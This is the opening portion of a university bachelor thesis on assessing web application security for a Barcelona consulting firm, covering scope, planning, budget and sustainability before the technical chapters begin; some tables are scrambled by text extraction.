Assessing web applications security - UPCommons

Assessing web applications security

Alvaro Moreno Ribot

Director: Jose Luis MonteroCo-Director: Davide Careglio

April 2022

Abstract

Assessing web applications security

As web applications and services get more and more popular, the inherent security risksof possible vulnerabilities present in the code and libraries arise. An application webpenetration test is an assessment of the security of the code and use of software on whichthe application runs. Even if all the versions are up-to-date on software patches andsecurity, cybercriminals are constantly evolving their methods. Penetration testing canensure that a web application is not vulnerable to attacks, and help to avoid compromise.

This thesis aims to elaborate a basic but rather complete guide on how to perform aninitial web security assessment, describing some of the most popular methods, tools andconcepts.

Guía metodológica para evaluar la seguridad web

A medida que las aplicaciones y los servicios web se vuelven cada vez más populares,surgen los riesgos de seguridad inherentes a las posibles vulnerabilidades presentes en elcódigo y las bibliotecas. Una prueba de penetración web de una aplicación es una evalu-ación de la seguridad del código y el uso del software en el que se ejecuta la aplicación.Incluso si todas las versiones están actualizadas en cuanto a parches de software y seguri-dad, los ciberdelincuentes evolucionan constantemente en sus métodos. Las pruebas depenetración pueden garantizar que una aplicación web no sea vulnerable a los ataques yayudar a evitar el compromiso.

Esta tesis tiene como objetivo elaborar una guía básica, pero completa, sobre cómo re-alizar una evaluación inicial de seguridad web dónde se describen algunos de los métodos,herramientas y conceptos más populares.

ii

Contents

Abstract ii

1 Context and Scope 11.1 Context . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.2 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.3 Justification . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.4 Scope . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31.5 Methodology . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4

2 Project Planning 62.1 Tasks definition . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 62.2 Resources . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82.3 Risk management: Alternative plans and obstacles . . . . . . . . . . . . . 102.4 Gantt Chart . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13

3 Budget and Sustainability 143.1 Budget . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 143.2 Sustainability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20

4 Modifications with respect to the initial plan 23

5 Theoretical basics 245.1 Offensive security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245.2 Defensive security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 245.3 Legality of penetration tests . . . . . . . . . . . . . . . . . . . . . . . . . . 255.4 The web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255.5 Security on the web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285.6 Penetration testing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 295.7 Methodologies . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

6 Common Security Protocols 35

iii

Abstract iv

6.1 HTTPS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 356.2 SSL and TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 366.3 Cross-origin resource sharing . . . . . . . . . . . . . . . . . . . . . . . . . . 366.4 URL encoding . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37

7 Information gathering 397.1 OSINT: Open Source Intelligence . . . . . . . . . . . . . . . . . . . . . . . 397.2 Active information gathering . . . . . . . . . . . . . . . . . . . . . . . . . . 49

8 Common exploitable vulnerabilities 548.1 Cross-Site Scripting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 548.2 Cross-Site Request Forgery . . . . . . . . . . . . . . . . . . . . . . . . . . . 578.3 SQL Injection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 588.4 Vulnerable file upload . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 608.5 Authentication vulnerabilities . . . . . . . . . . . . . . . . . . . . . . . . . 61

9 Exploiting vulnerable web applications 649.1 Setting up the laboratory environment . . . . . . . . . . . . . . . . . . . . 649.2 Selecting the machines . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659.3 Machine 01: Bounty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 679.4 Machine 02: Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 749.5 Evidence gathering . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 839.6 Reporting . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83

Conclusion 88

Bibliography 89

A Appendix: Theoretical Basics 93A.1 OWASP Top 10 2021 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 93A.2 CVSS v3.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95

B Appendix: Machines 97B.1 Machine 01: Bounty . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97

1 | Context and Scope

1.1 Context

This is a Bachelor Thesis of the Computer Engineering Degree, specialization in Infor-mation Technologies, done at the Universitat Politècnica de Catalunya in the Facul-tat d’Informàtica de Barcelona. This thesis is supervised by Jose Luis Montero fromiThinkUPC a consulting firm from Barcelona and tutored by Davide Careglio.

1.2 Introduction

The problem

We live in a growing, connected world. This means that almost every device and machinewe use has a CPU embedded in it, and in these last years almost every new device issomehow connected to the internet. We are now a connected society.

The World Wide Web, or the Web as we generally refer to, has become an important partof our everyday lives. The usage of the Web, ranging from a search engine to a complexand sensitive banking web application, has made our lives easier.

The growing usage of the web has definitely revolutionized the way we live and empoweredus. The mere idea of a banking application being offline can turn to a nightmare for most;the same is the case with cloud services, such as like Dropbox or Gmail.

Worse can be the case if these services were compromised and all the sensitive data storedin them fell into the hands of a malicious actor. This data could be sold or distributed inthe public domain, or even blackmail individual users. All of this has already happenedin the past.

Having such a high number of connected devices, and with it an almost equal number ofhuman users, the need of faster and more reliable internet services is growing exponentially.

1

Context and Scope 2

The solution

The Web is not a safe place for anybody; there are hundreds of cases that prove thispoint [1]. However any service can improve their security and harden their infrastructureto an extent that it becomes really hard to break into. Nothing will ever be a hundredpercent secure, but one can invest in security to maintain and update the security of theirinfrastructure.

Companies have been investing in such hardening more and more exponentially. Nocompany wants to be on the news because of their lack of security.

1.2.1 What needs to be solved

In a classic penetration test of web applications, different types of attacking techniquesare used to find vulnerabilities and use them to break into systems.

However, the Web is a growing field, and newer technologies are added regularly. Anypenetration tester (or security auditor) conducting a test on a web application needs tobe aware of newer techniques in the domain so that the latest classes of issues do notremain unpatched; at the same time, the old techniques must be extrapolated for betteroutcomes.

iThinkUPC had the need to improve their knowledge on these fields and update theirtechniques and methodologies. This is why they want to have a guide on how a modernsecurity audit should be carried out.

This thesis is about gathering all the possible techniques and methods and putting themto practice while documenting the followed methodology. This way I, as an employee, willgain a serious knowledge that they will be able to benefit from: sharing my knowledgewith my co-workers and applying them on any project that is to come.

1.2.2 Audience

This document aims to be useful to a particular cybersecurity team at a consulting com-pany. It will help any member of the team to learn the best practices, methods, and stepswhen a cloud security audit needs to be carried out.

It could also be useful to any cybersecurity or DevOps team from any company that wantsto learn the web security auditing methods.

1.3 Justification

As with any topic, a lot of information can be found on the internet on how to carry suchwebsite penetration tests.

Context and Scope 3

The available information is spread all over the internet and there is a lot of inaccurateinformation. Training employees can be very expensive for a completely new team andcould mean a waste of time and, for an extent, money.

A requirement iThinkUPC has set is that the guide needs to be in-made. The reasonfor this is that they want to avoid relying on third-party guides or paid services. On theother hand, I am meant to use my thesis time to improve my security auditing skills sothat when this thesis has finished, I should be able to help with new projects without theneed of supervision.

Another requirement is the ability to edit the guide to fit their future needs: adding newparts or knowledge acquired with experience, or removing old parts.

1.4 Scope

As it has been presented, the main objective of this project is to build a guide on howone needs to perform a security audit for a web service being this the steps to penetrationtest a web service, gather evidence and vulnerabilities and securing the platform to avoidfuture penetrations or exploitation of such vulnerabilities.

The scope of such tasks can be very extensive. For time and extension reasons, this thesiswill not cover to the full the final result of this guide. Here, we will be covering the mostused methods, described later, and a practical hands-on with a real web service.

1.4.1 Objectives

A division by sub-objectives has been defined in order to better administrate the paththat needs to be followed.

• Theoretical sub-objective. Part of this work will be dedicated to collect, studyand, above all, learn all concepts and requirements concerning a Web Security Audit.

These concepts group how to penetration test a web service, how to find vulnera-bilities, how to exploit them and finally how to solve them.

The objective of this part is hence to acquire a comprehensive theoretical knowledgeof the subject.

• Research sub-objective. The second part will be focused on researching thecurrent methodologies employed to carry out a Web Service Audit.

From the tools to perform the penetration tests, to procedures for vulnerabilityreporting and also ways to solve the most common vulnerabilities.

At the end of this part, a solid knowledge of how to address each of the steps of aweb security audit and an in-depth view of the steps that need to be followed should

Context and Scope 4

have already been acquired.

• Practical sub-objective. In this last part, all the concepts learned and studiedfrom the other two parts will be taken to practice.

Here, the objective is to make sure a security audit can be carried out with thedefined steps on the guide and check that the methods are effective.

1.4.2 Potential obstacles and risks

• Covering too much. Web services cover a wide variety of topics, techniques, fields,and services. Chances are that if the focus is not set on the most important topics,we will not be able to provide a quality guide, and we may get lost. So we will needto narrow and delimit the scope of the project beforehand.

• Lack of available new information. This kind of audits are constantly evolvingand the information on these topics can be outdated. This can hinder the learningcurve. Paid material like books or courses may be needed in order to learn all thesenew concepts in depth.

• Deadline and unexpected problems. Theory always looks beautiful, but prac-tice sometimes is hard. Auditing security needs a lot of try and failure, and thingscan get complicated sometimes. This may cause unexpected delays when trying totake some things to practice, making us take different decisions and maybe beingforced to narrow the scope of the project in order to accomplish with the deadline.

• Risk of new COVID-19 waves. This seems for now unlikely to happen, but itwill be an obstacle if we reach a partial or complete lockdown like we experienced ayear ago. If this happens, we might face the difficulty of not being able to directlyinteract with my co-workers which will be helping me along this project. Talking inperson and being able to help each other in-site is much better than anything onlinewith a video call.

1.5 Methodology

Kanban [2], a board where tasks can be created and visually organized, will be used toadministrate the project’s tasks. There are different states for a task which go from todo to complete. Also, new states can be created. The following states will be used:

• To do: The task is new, and no work has been done on it.

• In progress: The task is being done at the moment. Several tasks can be in thisstate if they are being done concurrently without losing track of any non-finishedtask.

Context and Scope 5

• Review: The task has been finished, but it needs review. A task in this state canreturn to the in progress state if after the review a major rewrite is needed.

• Done: A task in this state is completed and does not need any more work to do.

There are many pieces of software that allow you to use a Kanban board. The preference isOpen Source software that respects the privacy of the user. For this, after some research, Ihave chosen Taiga [3]. Taiga is an open source full-featured project management platformthat makes keeping track of tasks and their state very visual and easy. A personal self-hosted instance of Taiga will be used for even better data privacy.

Taiga’s labels feature will also be used to label who ordered each task (i.e. the projecttutor or project director).

In order to collect and organize all the useful resources such as links, documents and bookreferences, a LibreOffice spreadsheet will be used. There, all the resources will be sortedby type, date accessed and how they have been used. This will make the elaboration ofthe Bibliography very simple and will also allow tracking the state and usage of everyresource that has been found.

The elaboration of drafts will be also an important part of the methodology. All pageswill start as drafts that will be reviewed. As they get more mature, they will be goingto the reviewed state. There they will need a last review before passing to the validatedstate. This method simplifies the tracking of the pages that are ready to be part of thefinal guide and the ones that need more work.

2 | Project Planning

This project lasts approximately 520 hours. Starting from September 16th, 2021 untilMay 1st, 2022 approximately. The oral defense will be between April 25th and April29th.

The contract with iThinkUPC ends in June, so the remaining hours will be dedicatedto other tasks that may not belong to the scope of the thesis, like further improving theguide or continue with testing.

It is planned to work 4 hours approximately every day, even though exams or otherprojects can affect this time and work hours per day may be irregular.

2.1 Tasks definition

The project has been organized in 5 different parts: Project management, Research,Documentation, Testing, and Project defense.

T1 | Project management

• T1.1 | Tools. In order to carry out this project, a set of tools will be needed. Weneed to research which tool is the most fitted to write the guide and also the toolsthat will be used to manage the different tasks and their states and how we willkeep track of the state of the project.

• T1.2 | Economics. It is very important to know the costs of the project as wellas the impact that its development will have on the company.

• T1.3 | Scope. It is very important to clearly define the scope of the project sincecloud services have a very large set of different services and tools, and we must focuson the most common and necessary for iThinkUPC.

• T1.4 | Plan. We need to meet a deadline, meaning that we need to have a goodplan of the work that will be done and when it should be done. So we can focus onthe important parts of the project.

6

Project Planning 7

• T1.5 | Meetings. Meetings with project tutor and project director will be sched-uled regularly to make sure we are making the right decisions all along. This taskwill last for the entire duration of the project, as it will be done on a regular basis.

T2 | Research

Before we can get hands on the practical part where we will need to research the toolsthat will be needed in our set-up to carry out the audit. Also, all the techniques andmethods will need to be studied and explored.

A considerable amount of time of the project will be dedicated to this task as it will giveus the basics, so we can proceed with the testing part.

• T2.1 | Traditional penetration testing techniques. We will be studying thetraditional penetration testing techniques and explore if these techniques are alsosuited for cloud services. This task is a dependency for the T2.2 task, as we firstneed to understand the traditional techniques to be able to define the steps.

• T2.2 | Steps in an audit. Here we will learn how a web security audit needs tobe organized, what are the steps that need to be taken and how they are going tobe achieved. Once we determine the steps that we need to take to carry an audit,we will be able to decide the steps that will continue after the audit is complete,being, for example, the elaboration of a results report. The task T2.3 depends onthis task.

• T2.3 | After the audit. This part will focus on what needs to be done once theaudit is complete. How the problems need to be solved and addressed.

T3 | Documentation

In order to start this task, we will need to have finished tasks T2.1 and T2.2 as in thesetasks is where we will be collecting, understanding and studying all the knowledge towrite the theoretical part defined in sub-task T3.1.

Once the research has been done, the guide itself will need to be written. This task maybe carried out concurrently with the research task at some point.

The time estimate for this task is not as long-lasting as the research task because duringsaid task the information will have already been collected and classified, allowing us towork smoother on this task.

The documentation task can be divided in 2 sub-tasks:

• T3.1 | Theoretical part. In this part, all the basic concepts and knowledge shouldbe explained.

Project Planning 8

• T3.2 | Steps and tools. Here is where the guide will begin and the steps andmethods to carry out the audit will be defined. This sub-task also depends on T2.3as we need to know the steps we will need to take when performing an audit.

T4 | Testing

In this task, everything learned and written before will be taken to practice, testing it ina real environment.

We will be ready to start working on this task as soon as we have developed enoughcontent of the guide, so we can start testing it. This will happen when we start workingon T3.2, where we will define the steps and tools.

To test, we will be auditing a vulnerable web service. This allows to further improve theparts that lack something or to remove the unnecessary parts while gathering any

This testing phase has an estimate of 40 hours as we will be following the described stepsof the elaborated guide. But we must note that this time can change if some obstaclesmentioned in section 2.3 appear.

The division of this task in subtasks has not been considered necessary at the moment; thedifferent audit tests will be performed sequentially according to the procedure elaboratedin the Documentation task.

T5 | Project defense

This is the last task and, basically, will be the preparation for the oral defense of theproject. Two tasks can be defined:

• T5.1 | Preparation of the thesis report. Preparing the final report of the thesisand perform a full review.

• T5.2 | Preparation of the oral defense. Preparing the materials to make theoral presentation and think about possible questions from the tribunal members.

This task clearly depends on the Documentation task (T3) to be carried out. So we willnot be able to start this task until we finish the project.

2.2 Resources

Every project, from any area, needs resources in order to be carried out. This is anIT project precisely a cybersecurity project, for this we can divide the resources in fourblocks:

Project Planning 9

2.2.1 Material resources

In order to acquire the necessary knowledge and study the methods and tools used, wewill need some general purpose books in the fields of cybersecurity, such as pentesting orbooks on the methodologies followed in security audits.

Also, we will do research on previous studies for this same purpose, such as internetarticles and courses.

2.2.2 Human resources

The human resources in this project are low. We can count four persons involved in thisproject.

• The researcher who will be in charge of planning, researching, understanding, doc-umenting and explaining the project.

• The tutor of the project, who will be guiding the researcher, so he can achieve acorrect development of the project.

• The project director, who is, in some way, the customer of the researcher. He hasthe final word on how the project should be and which paths should be taken.

• The GEP tutor. A professor from the FIB who will guide the researcher on how tomanage the project, so he can achieve the objectives.

From time to time, other human resources such as other iThinkUPC employees will par-ticipate, providing knowledge and experience when asked.

2.2.3 Equipment resources

Resources such as used devices, servers, and spaces will be grouped here.

Hardware

An HP laptop will be the main development device. The laptop counts with an AMDRyzen 5 processor and AMD Raedon graphics, and the operating system is Arch Linux.

Another computer provided by iThinkUPC will be used for the practical work. A DELLcomputer with an Intel i5 processor and an integrated graphics card running Ubuntu asthe Operating System.

Some on-premise servers provided by iThinkUPC will also be used if required.

Spaces

Most of the work will be done from home, and three days a week we will go to the officeto coordinate work with the director and colleagues.

Project Planning 10

The space resources will be a desk at the iThinkUPC offices and a desk at the researcheshome.

From time to time, some meeting rooms may be used to meet with the project tutor orthe project director.

2.2.4 Software

In the cybersecurity field, a lot of software is used. One of the most used tools amongcybersecurity researchers is a Debian-based Linux distribution called Kali Linux [4], butParrotOS [5] will also be taken in consideration when the time comes. These OperatingSystems often are called the "swiss-knife" of cybersecurity tools. For this reason, we willbe comparing and deciding which of these two we will be using.

Licensed programs such as Acunetix [6] or Nessus [7] will also be used. These toolshelp cybersecurity experts by automating the arduous tasks of performing manual scansand documenting them. They do it automatically and generate a comprehensive report.Fortunately, iThinkUPC has some of these tools licensed and will be available for our use.

2.3 Risk management: Alternative plans and obstacles

During the project, there is the possibility of encountering obstacles, already remarked insection 1.4.2, that may delay progress.

Here we will think about ways to circumvent the problems if we encounter them, and alsostudy the probability of the risk.

• Covering too much [High risk]. As we have noted before, cloud environmentscover many areas of cybersecurity, so it is easy to end wanting to cover too much andnot be able to produce content of proper quality or not be on time for the deadline.

If at some point we realize that this is happening, it will be very important toreconsider the scope of the project, and it will be necessary to cut back on the scopethat was originally intended to be covered, decide what is worth including and whatis not worth including, and justify those decisions clearly.

• Lack of available information [Medium risk]. Lack of information in cyber-security fields is not a problem. But finding information on how to audit cloudservices can become a problem since it is a relatively new phenomenon and muchinformation is going to be inaccurate or paid for. In addition, this technology isconstantly evolving, so it is possible that many guides are already obsolete or donot support the latest cloud technologies.

It this is the case, the only alternative will be purchasing the latest recommendedmaterial and using it as the main source of knowledge.

Project Planning 11

• Deadline and unexpected problems [Medium risk]. If any unexpected prob-lems arise, we will need to take proper action in order to circumvent such problems.Having a good planning and overview of the project allows us to easily visualizewhich parts are more important, which ones need more workload and which oneswe can obviate.

• Inexperience on the field [Low risk]. The researcher is not widely experiencedon web security audits. This means that we will need to build some knowledge fromthe ground up. Clearly this is already taken into account on the project planningas we have a generous part of theoretical research and learning.

There is a possibility that the agenda will be much longer than expected. If this isthe case, we will need to use extra hours of the project for this learning part, andwe may need to reduce some time for the practical part of the project.

Project Planning 12Num

ber

Nam

eHou

rsDep

endencies

Resou

rces

1Project

Man

agem

ent

861.1

Tools

4Com

puter,R

1.2

Econo

mics

251.4

Com

puter,Te

xMaker,R

,GEP

1.3

Scop

e25

2Com

puter,Te

xMaker,R

,GEP

1.4

Plan

121.3

Com

puter,Te

xMak

er,R

,GEP

1.5

Meeting

s20

R,T

u,D

2Research

265

2.1

Trad

itiona

lpentest

techniqu

es80

Com

puter,

TexM

aker,R

,B&O

2.2

Stepsin

anau

dit

702.1,

2.2

Com

puter,Te

xMaker,R

,B&O

2.3

After

theau

dit

352.3

Com

puter,

TexM

aker,R

,B&O

3Docum

entation

903.1

Theoretical

Part

502

Com

puter,

TexM

aker,R

3.2

Stepsan

dtools

402,

3.1

Com

puter,

TexM

aker,R

4Te

sting

403

Com

puter,Te

xMaker,R

,Kali,To

ols

5Project

defense

355.1

Prepa

ration

ofthethesis

repo

rt15

3Com

puter,Te

xMak

er,R

,W&T

5.2

Defen

sepreparation

203,

4Com

puter,

TexM

aker,R

,Tu

TOTA

L51

6

Tab

le2.1:

Summaryof

theinform

ationof

thetasks.

R=

ResearcherTu

=Tu

torD

=DirectorGEP

=GEP

TutorB&O

=Boo

ksan

dOthersW

&T

=Writing

andTe

sting

Project Planning 132.4

Gan

ttCha

rt

Figure

2.1:

Gan

ttchartgeneratedwithGan

ttProject

software[8].

3 | Budget and Sustainability

In this chapter, we will describe the elements that we need to consider when making abudget estimate. Also, the possible budget deviations will be discussed.

3.1 Budget

3.1.1 Personnel costs

All the tasks were defined in 2.4, and we will use that task’s definition to compute theprice per person. The cost for each worker will be computed by multiplying their cost perhour by the amount of time that they will be involved in the activity.

Based on the tasks defined previously, we can identify five different roles:

• Project manager — The GEP tutor (identified as GEP) and the project tutor(T) play this role in this thesis. Both are FIB professors. Also, the researcher willhave a role on project managing decisions.

• Project director — The person from iThinkUPC in charge of the project is theproject director (D).

• Researcher — The person in charge of studying and experimenting the methods,analyzing the results, and drawing the conclusions (R). I will be playing this role.

• Tester — The person in charge of testing all methods selected in this work. I willbe playing this role.

• Technical writer — The person in charge of this task will be documenting every-thing from the theoretical part to the testing part. I will be playing this role.

The total salary for each role has been calculated and can be seen in table 3.1. The salaryestimates have been extracted from Salary.com [9].

14

Budget and Sustainability 15

Role Annual Salary Total (with SS) Price per hour IDProject manager 38,000 e 49,780 e 28.44 e GEP, T, RProject director 42,000 e 55,020 e 31.44 e D

Researcher 35,000 e 45,850 e 26.2 e RTester 21,000 e 27,510 e 15.72 e RWriter 26,000 e 34,060 e 19.46 e R

Table 3.1: Annual salary per each role. Own calculations.

3.1.2 Generic costs

Amortization

For this project it has been estimated an average of 3.5 daily working hours during aperiod of 150 days derived from the total number of hours calculated in Table 2.1.

Also, as seen in Section 2.2.3 two computers will be used mainly. It has been estimatedthat 70% of the project will be carried out on the HP laptop and another 30% on thework computer at iThinkUPC.

From this, the amortization of these two computers can be calculated. It has been as-sumed that the machines are new. The amortization costs have been calculated using thefollowing formula:

Amortization = Resource Price ∗ 1

147 days∗ 1

3.5 hours∗ hours used

Resource Price (e) Time (h) Amortization (e)HP Laptop 500 361.37 351.18Dell Desktop 700 154.87 210.7

TOTAL 1200 516 561.88

Table 3.2: Amortization costs. Own results.

Budget and Sustainability 16Num

ber

Nam

eTo

talH

ours

Hou

rspe

rrole

Cost(e

)Project

man

ager

Project

director

Researcher

Tester

Writer

1Project

Man

agem

ent

8681

2025

2020

4291

.04

1.1

Tools

44

00

00

113.76

1.2

Econo

mics

2525

00

00

711.00

1.3

Scop

e25

200

50

069

9.80

1.4

Plan

1212

00

00

341.28

1.5

Meeting

s20

2020

2020

2024

25.20

2Research

265

00

265

00

6943

.00

2.1

Trad

itiona

lpentest

techniqu

es80

00

800

020

96.00

2.1

Specificpe

ntesttechniqu

es80

00

800

020

96.00

2.3

Stepsin

anau

dit

700

070

00

1834

.00

2.4

After

theau

dit

350

035

00

917.00

3Documentation

900

00

010

019

46.00

3.1

Theoretical

Part

500

00

050

973.00

3.2

Stepsan

dtools

400

00

040

778.40

4Testing

400

00

400

628.80

5Project

defen

se35

250

100

097

3.00

5.1

Thesisdo

cumentreview

155

010

00

404.2

5.2

Defense

preparation

2020

00

00

568.8

TOTAL

516

106

2030

060

110

1458

7.24

Tab

le3.3:

Personn

elcost

pertask.Owncalculations.


Utility cost

This section is dedicated to estimate the electricity and the internet costs.

The cost of electricity as of today in Spain is 0.22618e/kWh [10]. the electricity pricehas experienced an enormous increase [11] and this will be reflected in the project’s finalbudget.

An estimate of the hours that the hardware will be used has been calculated for each ofthe computers and one monitor for the desktop computer, which is added to its total ascan be seen in table 3.4

Hardware Power (W) Total usage (h) e/kWh kWh e/h Total cost (e)HP Laptop 60 361.37 0.22618 0.06 0.0136 4.91Dell Desktop 230 154.87 0.22618 0.23 0.052 8.05

Total 12.96

Table 3.4: Electric cost of hardware resources. (Own calculations)

Internet cost is also considered under this section. Spain has one of the most expensiveinternet price rates among European countries [12].

We have extracted the average internet price from the European Commission’s «DigitalEconomy and Society Index 2020» [12]. There we can see that, in Spain, the averagestandard 30-100mbps price offer is about 34e/month.

The project will last approximately 5 months with an average of 3.5 working hours perday. So we can calculate the total internet price:

Total internet price (e) = 5 months ∗ 34e/month ∗ 3.5h/24h = 25e

Spaces

I will be mainly working at my house in Barcelona. I am renting a student’s flat andthe rental costs e 1200/month. I share the flat with three other students, so the totalmonthly price with all expenses included is e 350/month. It will be a total cost of e 1750for the 5 months of the project.

Part of the work will also take part on a desk at iThinkUPC. The building is part ofthe UPC Campus Nord, and, as the company is part of UPC we will assume that thisbuilding has no costs for the company.

Mobility costs

Living close enough to the faculty to walk to the faculty, mobility costs will be minimal.In addition, the iThinkUPC building is in the same location as the faculty.


As I normally live out of Barcelona, a small monthly budget will be set in case travelingto Barcelona is needed for some reason.

Journey ticket price ∗ 4 journeys/month = 6.4e ∗ 4 = 25.6e/month

Sum of the generic costs

Concept Cost (e)Amortization 561.88Utility costs 37.96

Spaces 1750Mobility 25.6TOTAL 2375.44

Table 3.5: Generic costs of the project.

3.1.3 Other costs

Contingency

In every project, it is needed to have a spare budget for any unforeseen events that mayoccur. This fund is called the contingency.

For this project, it has been decided to set an additional 10% of the total cost for thecontingency margin.

As we have a total cost of the project of 16962.6e, it being the sum of personnel andgeneric costs, we can compute that the margin that will be added as contingency is atotal of 1696.26e.

This margin will be saved and will only be used in cases where unexpected obstacles maybe encountered, or extra hours are needed for a task.

Plan changing costs

As it was mentioned in the section 2.3, if some incidents may occur, the planning maychange. In these cases, we need to estimate the costs of such changes. The table 3.6 showsthe total costs in the hypothetical case that such events happen.


Incident Extra time (h) Estimated cost (e) Risk % Cost e(with risk)Covering too much 10 262.00 30 78.6

Lack of available information 15 453.00 60 271.8Deadline and unexpected problems 0 0.00 20 0

Inexperience on the field 20 524.00 100 524.00TOTAL 874.4

Table 3.6: Plan changing costs.

3.1.4 Project’s total cost

Resource Cost (e)Personnel 14587.24Generic 2375.44

Contingency 1696.26Incidental 874.4TOTAL 19533.34

Table 3.7: Project’s total costs.

3.1.5 Budget management control

We are currently speculating on what the project is going to be, but we cannot be com-pletely sure that we will deliver everything as planned here. In fact, we are likely toencounter obstacles or surprises that will affect the estimated time and tasks.

Thus, we must develop a model to be able to cope with these variations without too muchtrouble. For each task, once completed, we will have to recalculate the actual times andsee the deviations of all the costs.

Below are the formulas, for each cost, that allows us to calculate these deviations.

Personnel costs

If the personnel work more than expected or, conversely, if they work less:

Deviation =∑n

(estimated costsn − real costsn)

Where n refers to each person involved on a task.

Amortization costs

If the hardware is used more than expected or, conversely, if is used less:

Deviation =∑n

(estimated usagen − real usagen)


Where n refers to each piece of hardware.

Utility costs

If the electricity price rises or if we work more than expected or, conversely, if they workless or the price drops:

Deviation =∑n

(estimated electric costsn − real electric costsn)

Where n refers to each power-supllied element.

Mobility costs

If more journeys than expected are needed:

Deviation =∑

(estimated journeys− real journeys) ∗ price per journey

3.2 Sustainability

3.2.1 Self assessment

Over the years, the world has been taking a path that did not take into account the havocthat could be caused by certain ways of acting in relation to the climate, the environmentand the sustainability of the population. We live in a world where technology is pervasiveeverywhere, and it clearly plays a very important role in the evolution and direction wewill take as a society.

For this and many other reasons, it is mandatory to check the sustainability before un-dertaking any project to ensure that we are making the right decisions and that we aretaking into account the sociological, environmental and economic impacts that the projectmay have. We must respect both the environment and people, granting their freedomsand rights.

By conducting this sustainability assessment, the university ensures that students willthink about the footprint of their thesis and the impact it can have. Personally, I hadnever done a sustainability analysis for any of the projects I have done throughout mycareer.

When thinking about sustainability, the first thing that comes to mind is the environ-mental and social impact. However, I just learned that the economic impact has also avery important role when analyzing a project.


3.2.2 Environmental impact

Have you estimated the environmental impact of undertaking the project?Have you considered how to minimize the impact, for example by reusingresources?

As soon as I was told I would need to make a sustainability report, I started thinkingabout the environmental impact of my project. Due to the research nature of this project,and the fact that I don’t practically need any computing power, the impact of this projectis practically negligible.

I will be using paper books whenever possible to reduce the screen hours and thus re-ducing the power consumption. Also, I will schedule in-person meetings as long as thecircumstances allow us. This way we will save the energy needed to meet via an internetconnection.

How is the problem that you wish to address resolved currently (state ofthe art)? In what ways will your solution environmentally improve existingsolutions?

Currently, the company does not have a source for all information related to a web securityaudit, and their expertise in the field lacks professionalism. For this reason, every time acloud web is carried out, the team needs to spend a certain amount of hours researchingon the internet, and if the employee is new, he will have to spend hours researching andstudying.

Thus, with this project, I will provide with a unique knowledge base where anyone willbe able to go and consult and start learning right away. This will eliminate the need ofspending hours searching on the internet, reducing the final energy consumption. Also,as I will be mastering these techniques I will be capable of teaching my co-workers inperson, and, when being the technician carrying the audit, I won’t need to spend thatmuch time researching. The time should then be spent on providing a quality audit tothe final client.

3.2.3 Economic impact

Have you estimated the cost of undertaking the project (human and materialresources)?

The economic impact of this project is studied in the section 7 of this project. There thematerial and human resources are also taken into account.

How is the problem that you wish to address resolved currently (state of theart)? In what ways will your solution economically improve existing solutions?

As we mentioned in the second question at the 3.2.2 section, the current solution leads toa waste of working hours when an audit is to be carried out.


With this project, the team will not need to waste that much time researching on theinternet, as this guide will be available for consultation. The benefit of having a structureddocument allows the team to save time and thus working hours can be allocated moreefficiently.

3.2.4 Social impact

What do you think undertaking the project has contributed to you personally?

I have never carried out a research project of this magnitude. The project is not finishedyet as it has just started, but looking into the future I think it will give me a very goodexperience in terms of project management and will allow me to test all the knowledge Ihave gained over the years.

On the other hand, the fact of being able to work with the support of a company and ateam of professionals will allow me to learn a lot from them.

How is the problem that you wish to address resolved currently (state of theart)? In what ways will your solution socially improve (quality of life) existing

Once the project is completed, it will open the door to easy and centralized knowledgesharing among team members. This guide will not be static, it will be updated andexpanded with the knowledge of employees through time.

This is a very good thing, because as of now you have to explicitly ask a colleague ifhe/she knows about the subject, and sometimes you may not think of doing it, or youmay not think that a certain person may know about the subject.

Is there a real need for the project?

Although all this time the company has been going through audits without this guide,and they could continue like this, it is clear that having this resource will benefit futurecloud audits in terms of quality and time.

4 | Modifications with respect to theinitial plan

The first title for this project was Assessing cloud security services. It was planned totake a project that was offered to iThinkUPC where an audit for an Amazon WebServices based infrastructure was to be performed.

Due to some problems with the dates and timing, this project was delayed to a date whereit was not possible for me to hand it in time. For this reason, we decided to change thescope and target of this project.

As it has already been mentioned in section 1.2, there was also a need to improve theknowledge and methodologies that were being used when assessing web security, so theproject changed to web security.

Not only it is easier to test and explore web technologies, but also there are much moreprojects related to traditional web technologies right now than projects related to cloudservices. Although, this is likely to change in the near future with the rise of cloud-basedservices.

The basic methods, tools and vulnerabilities are not very different in essence. Only thebackbone changes as the cloud security depends a lot on how well configured it is.

23

5 | Theoretical basics

Before getting hands on web security, it is important to review the traditional cybersecu-rity jargon, techniques, and methods. Web security is just a result of the evolution of thetechnological services, and it takes a lot from the traditional cybersecurity.

